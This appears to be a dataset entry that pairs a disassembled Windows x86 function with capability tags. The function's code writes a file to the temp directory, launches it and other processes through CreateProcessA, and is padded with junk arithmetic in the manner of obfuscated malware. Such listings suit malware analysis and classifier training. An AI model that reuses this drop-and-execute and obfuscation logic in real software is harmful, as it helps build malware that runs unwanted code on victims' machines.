Function at 0x409220
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e738
mov eax, dword fs:[0]
push eax
sub esp, 0x190
mov eax, dword [0x425e90]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
push edi
mov eax, dword [0x425e90]
xor eax, esp
push eax
lea eax, [esp + 0x1a0]
mov dword fs:[0], eax
fldz
xor eax, eax
mov word [esp + 0x38], ax
mov dword [esp + 0x20], eax
fst dword [esp + 0x64]
fldz
xor ecx, ecx
fst qword [esp + 0x6c]
xor edx, edx
fxch st(1)
mov dword [esp + 0x3c], eax
fst dword [esp + 0x28]
mov dword [esp + 0x40], eax
mov word [esp + 0x24], cx
fst dword [esp + 0x60]
fstp dword [esp + 0x58]
mov dword [esp + 0x150], 0xf
mov dword [esp + 0x14c], eax
mov byte [esp + 0x13c], al
fstp qword [esp + 0x7c]
mov word [esp + 0x1c], dx
push 0x118
mov dword [esp + 0x1ac], eax
call fcn.0040b559
push eax
mov dword [esp + 0x68], eax
call fcn.00402cf0
add esp, 8
add dword [0x423480], 0x5ef0e81b
movzx eax, word [esp + 0x24]
sub eax, 0x130126d5
push 0
mov word [esp + 0x28], ax
call fcn.0040b23a
mov esi, dword [esp + 0x44]
add esp, 4
cmp edx, esi
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edx
jg 0x40931f
jl 0x409311
cmp eax, dword [esp + 0x3c]
jae 0x40931f
xor esi, esi
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], esi
mov ecx, eax
sub ecx, dword [esp + 0x3c]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x30], edi
js 0x409c68
jg 0x409341
cmp ecx, 0x708
jbe 0x409c68
fld qword [esp + 0x7c]
mov esi, eax
fsub qword [esp + 0x7c]
shr esi, 9
push 0x408
lea ebx, [esi + 0x55]
fstp qword [esp + 0x80]
push 0x423060
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edx
mov dword [esp + 0x58], 0
mov dword [esp + 0x50], esi
mov dword [esp + 0x34], ebx
call fcn.00401ea0
fld qword [0x4255a8]
fsub dword [esp + 0x60]
mov dword [esp + 0x5c], eax
call fcn.0040b350
mov word [esp + 0x2c], ax
fld qword [0x4255a8]
fadd qword [0x41f358]
push 0xd
push 0x4253b0
fstp qword [0x4255a8]
call fcn.00401ea0
mov edi, eax
push 0xaf1
push 0x4236d0
mov dword [esp + 0x64], edi
call fcn.00401ea0
push 0x31e
push 0x4255f0
mov dword [esp + 0x7c], eax
call fcn.00401ea0
add esp, 0x20
mov dword [esp + 0x68], eax
cmp esi, ebx
je 0x4099de
lea esp, [esp]
mov edi, 1
add dword [esp + 0x38], edi
mov cx, word [esp + 0x38]
movsx edx, cx
add edx, 0x6164fa03
mov dword [esp + 0x14], edx
xor esi, esi
push esi
fild dword [esp + 0x18]
fmul qword [0x425ad8]
mov eax, dword [0x4276a0]
push eax
fstp qword [0x425ad8]
call fcn.00401bb0
add esp, 8
test eax, eax
jne 0x4094d9
fld dword [0x423484]
fsubr qword [0x41f9e8]
fcomp qword [0x41f9e0]
fnstsw ax
test ah, 0x41
jne 0x40945f
fld qword [0x425d48]
fsub qword [0x41f9d8]
fstp qword [0x425d48]
mov eax, dword [0x4276a8]
fldz
mov ecx, dword [0x4271e4]
xor edx, edx
mov word [esp + 0x14], dx
fstp qword [esp + 0x14]
mov word [esp + 0x14], dx
mov word [esp + 0xfe], dx
lea edx, [esp + 0x128]
push edx
lea edx, [esp + 0xd0]
push edx
push esi
push esi
push 8
push esi
push esi
push esi
push eax
push ecx
mov dword [esp + 0xf4], 0x44
mov dword [esp + 0xf8], esi
mov dword [esp + 0xfc], esi
mov dword [esp + 0x100], esi
mov dword [esp + 0x120], edi
mov dword [esp + 0x128], esi
mov word [esp + 0x124], di
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ax, word [esp + 0x1c]
movsx ecx, ax
mov eax, dword [esp + 0x48]
mov edx, 0x7db6d2a0
sub edx, ecx
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x5c]
push eax
fild dword [esp + 0x18]
push ecx
push edx
lea eax, [esp + 0x160]
fadd dword [0x425a3c]
push eax
fstp dword [0x425a3c]
call fcn.00402610
push 0x8b
push 0x4246e8
call fcn.00401ea0
or edx, 0xffffffff
add word [0x425d70], dx
movzx ecx, word [esp + 0x34]
mov ebx, eax
movsx eax, cx
mov dword [esp + 0x2c], eax
add esp, 0x18
fild dword [esp + 0x14]
fsub dword [esp + 0x28]
movzx ecx, word [0x425d70]
movsx eax, cx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x4c]
mov esi, eax
fild dword [esp + 0x14]
fsubp st(1)
fmul qword [0x423610]
fstp qword [0x423610]
fld dword [esp + 0x28]
fsub qword [0x41f358]
fstp dword [esp + 0x28]
add dword [esp + 0x1c], edx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409582
mov edi, ebx
sub eax, esi
add edi, edx
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409590
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x2710
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x160]
push ebx
push edx
call fcn.00408910
xor eax, eax
fldz
push 0x8b
push eax
mov word [esp + 0x30], ax
push ebx
fstp qword [esp + 0x34]
call fcn.0040b490
push ebx
call fcn.0040b3fb
mov eax, dword [esp + 0x160]
add esp, 0x24
cmp dword [esp + 0x150], 0x10
jae 0x4095fd
lea eax, [esp + 0x13c]
mov ecx, dword [esp + 0x14c]
mov edx, dword [esp + 0x54]
push ecx
push eax
push edx
call fcn.00408530
add esp, 0xc
cmp eax, 9
jl 0x4099ae
mov ecx, dword [esp + 0x13c]
mov edi, 0x10
cmp dword [esp + 0x150], edi
jae 0x409638
lea ecx, [esp + 0x13c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x78]
jl 0x4099ae
jg 0x409652
cmp edx, dword [esp + 0x74]
jb 0x4099ae
lea esi, [eax - 1]
cmp esi, dword [esp + 0x14c]
jbe 0x409663
call fcn.0040bbb1
mov eax, dword [esp + 0x13c]
cmp dword [esp + 0x150], edi
jae 0x40967a
lea eax, [esp + 0x13c]
mov byte [eax + esi], 0
mov eax, dword [esp + 0x13c]
cmp dword [esp + 0x150], edi
jae 0x409695
lea eax, [esp + 0x13c]
lea ecx, [esp + 0x154]
add eax, 8
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4096c0
test dl, dl
je 0x4096bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4096c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4096a0
xor eax, eax
jmp 0x4096c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4099ae
fld dword [esp + 0x28]
mov ax, word [esp + 0x1c]
fsubr qword [0x41f9d0]
movsx ecx, ax
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcompp
fnstsw ax
test ah, 5
jp 0x40971f
mov edx, dword [esp + 0x20]
inc dword [esp + 0x20]
sub edx, 0x426e39e8
cmp edx, 0x716f86f6
jl 0x40971f
mov eax, dword [0x425564]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fadd qword [0x4247b0]
fstp qword [0x4247b0]
mov ebx, dword [esp + 0x150]
mov edx, dword [esp + 0x13c]
cmp ebx, edi
jb 0x40980e
mov edi, edx
test edx, edx
je 0x409768
mov eax, edx
cmp ebx, 0x10
jae 0x409749
lea eax, [esp + 0x13c]
cmp eax, edi
ja 0x409768
mov eax, edx
cmp ebx, 0x10
jae 0x40975b
lea eax, [esp + 0x13c]
mov ecx, dword [esp + 0x14c]
add eax, ecx
cmp edi, eax
jbe 0x409782
call fcn.0040bbb1
mov ebx, dword [esp + 0x150]
mov ecx, dword [esp + 0x14c]
mov edx, dword [esp + 0x13c]
lea esi, [esp + 0x138]
mov dword [esp + 0x70], edi
lea ecx, [ecx]
mov eax, edx
cmp ebx, 0x10
jae 0x40979e
lea eax, [esp + 0x13c]
lea edi, [eax + ecx]
test edi, edi
je 0x4097cb
mov eax, edx
cmp ebx, 0x10
jae 0x4097b3
lea eax, [esp + 0x13c]
cmp eax, edi
ja 0x4097cb
mov eax, edx
cmp ebx, 0x10
jae 0x4097c5
lea eax, [esp + 0x13c]
add eax, ecx
cmp edi, eax
jbe 0x4097d0
call fcn.0040bbb1
cmp esi, 0xfffffffc
je 0x4097e9
test esi, esi
je 0x4097e4
lea ecx, [esp + 0x138]
cmp esi, ecx
je 0x4097e9
call fcn.0040bbb1
mov ebx, dword [esp + 0x70]
cmp ebx, edi
je 0x40988e
cmp esi, 0xfffffffc
je 0x40982b
test esi, esi
jne 0x409803
call fcn.0040bbb1
cmp dword [esi + 0x18], 0x10
jb 0x40981a
mov eax, dword [esi + 4]
jmp 0x40981d
lea edi, [esp + 0x13c]
jmp 0x40973b
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x40982b
call fcn.0040bbb1
mov byte [ebx], 0
fld dword [0x425d8c]
fld dword [esp + 0x58]
fadd qword [0x41f9c8]
fsubp st(1)
fstp dword [0x425d8c]
cmp esi, 0xfffffffc
je 0x409870
test esi, esi
jne 0x409854
call fcn.0040bbb1
cmp dword [esi + 0x18], 0x10
jb 0x40985f
mov eax, dword [esi + 4]
jmp 0x409862
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x409870
call fcn.0040bbb1
inc dword [esp + 0x70]
mov ebx, dword [esp + 0x150]
mov ecx, dword [esp + 0x14c]
mov edx, dword [esp + 0x13c]
jmp 0x409790
push 0x7e
push 0x4246e8
call fcn.00401ea0
push 0
push 0
lea edx, [esp + 0x148]
mov esi, eax
push edx
lea eax, [esp + 0x168]
push esi
push eax
call fcn.00408910
fldz
xor ecx, ecx
push 0x7e
push ecx
mov word [esp + 0x38], cx
fstp qword [esp + 0x38]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
push 0xc
push str.S9O
call fcn.00401ea0
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4098e6
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x144]
call fcn.00404bb0
fldz
mov edi, eax
xor eax, eax
xor edx, edx
mov dword [esi], eax
mov word [esp + 0x14], dx
fstp qword [esp + 0x14]
mov dword [esi + 4], eax
push esi
mov dword [esi + 8], eax
call fcn.0040b3fb
fld qword [0x425380]
fld1
add esp, 4
fadd st(1), st(0)
fxch st(1)
fstp qword [0x425380]
mov ax, word [esp + 0x1c]
movsx ecx, ax
add ecx, 0x1ca72964
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fld qword [0x425380]
fsub qword [0x41f9c0]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x40999e
fsubr qword [0x424770]
fstp qword [0x424770]
mov dx, word [esp + 0x38]
movsx eax, dx
sub eax, 0x48e5010e
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsub qword [0x424770]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x20], ecx
fild dword [esp + 0x20]
faddp st(1)
call fcn.0040b350
mov dword [esp + 0x20], eax
jmp 0x4099a0
fstp st(0)
mov edx, dword [esp + 0x14c]
add edx, 0xfffffff5
cmp edi, edx
je 0x4099c3
mov eax, dword [esp + 0x48]
inc eax
mov dword [esp + 0x48], eax
cmp eax, dword [esp + 0x2c]
jne 0x4093f0
jmp 0x4099da
push 0xb
push edi
lea ecx, [esp + 0x140]
call fcn.00405d60
mov dword [esp + 0x50], 1
mov edi, dword [esp + 0x4c]
fldz
mov esi, dword [esp + 0x54]
xor eax, eax
push 0x408
push eax
mov word [esp + 0x1c], ax
fstp qword [esp + 0x34]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
fldz
xor eax, eax
mov dword [edi], eax
xor ecx, ecx
mov dword [edi + 4], eax
mov word [esp + 0x24], cx
fstp qword [esp + 0x3c]
mov dword [edi + 8], eax
push edi
mov byte [edi + 0xc], al
call fcn.0040b3fb
fldz
mov esi, dword [esp + 0x7c]
xor edx, edx
push 0x31e
push edx
mov word [esp + 0x30], dx
fstp qword [esp + 0x48]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
fldz
mov esi, dword [esp + 0x80]
xor eax, eax
push 0xaf1
push eax
mov word [esp + 0x40], ax
fstp qword [esp + 0x58]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
push 0x40
lea ecx, [esp + 0x18c]
push 0
push ecx
call fcn.0040b490
add esp, 0x40
cmp dword [esp + 0x50], 0
je 0x409c68
mov edx, dword [esp + 0x60]
push 0x708
push edx
call fcn.00403860
fld dword [esp + 0x30]
fsub qword [0x41f9b8]
add esp, 8
cmp dword [esp + 0x14c], 0x200
fstp dword [esp + 0x28]
jbe 0x409c5a
push 0x370
call fcn.0040b559
mov ebx, eax
movzx eax, word [0x4255b4]
add esp, 4
push ebx
add eax, 0x1e5c4fbf
mov word [0x4255b4], ax
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.004031d0
push 3
push 0x42554c
call fcn.00401ea0
mov esi, eax
push esi
push ebx
call fcn.0040c15e
fldz
mov edi, eax
xor eax, eax
xor ecx, ecx
mov word [esp + 0x2c], cx
fstp qword [esp + 0x44]
mov word [esi], ax
push esi
mov byte [esi + 2], al
call fcn.0040b3fb
mov eax, dword [esp + 0x158]
add esp, 0x1c
cmp dword [esp + 0x150], 0x10
jae 0x409b41
lea eax, [esp + 0x13c]
mov edx, dword [esp + 0x14c]
push edi
push 1
push edx
push eax
call fcn.0040c2d7
push edi
call fcn.0040bd04
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x425abc
call fcn.00401ea0
fld qword [0x425d68]
mov edi, eax
mov ax, word [0x425a20]
movsx ecx, ax
mov dword [esp + 0x34], ecx
push 0x20
push 0x42369c
fild dword [esp + 0x3c]
fsubp st(1)
fstp qword [0x425d68]
call fcn.00401ea0
mov edx, dword [0x4276a0]
push edx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040b9a5
fldz
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov word [esp + 0x3c], ax
fstp qword [esp + 0x54]
mov dword [esi + 0x18], eax
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b3fb
fldz
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
xor ecx, ecx
mov dword [edi + 0xc], eax
mov word [esp + 0x40], cx
fstp qword [esp + 0x58]
mov dword [edi + 0x10], eax
push edi
mov byte [edi + 0x14], al
call fcn.0040b3fb
mov edx, dword [0x4276a0]
push 1
push edx
call fcn.00401bb0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00401760
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b490
push ebx
call fcn.0040b3fb
add esp, 0x10
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [esp + 0x64]
fsub qword [0x41f9b0]
fstp dword [esp + 0x64]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [esp + 0x1c]
mov ecx, dword [0x4276a0]
sub eax, 0x6e1660b1
push 0
push ecx
mov word [esp + 0x24], ax
call fcn.00401bb0
add esp, 8
test eax, eax
jne 0x4092e0
mov eax, dword [0x4276a8]
fldz
mov ecx, dword [0x4271e4]
xor esi, esi
mov word [esp + 0xb6], si
xor edx, edx
mov esi, 1
mov word [esp + 0xb4], si
lea esi, [esp + 0x118]
push esi
lea esi, [esp + 0x88]
push esi
push edx
push edx
push 8
push edx
push edx
push edx
mov word [esp + 0x34], dx
fstp qword [esp + 0x4c]
push eax
push ecx
mov word [esp + 0x3c], dx
mov dword [esp + 0xac], 0x44
mov dword [esp + 0xb0], edx
mov dword [esp + 0xb4], edx
mov dword [esp + 0xb8], edx
mov dword [esp + 0xd8], 1
mov dword [esp + 0xe0], edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x4092e0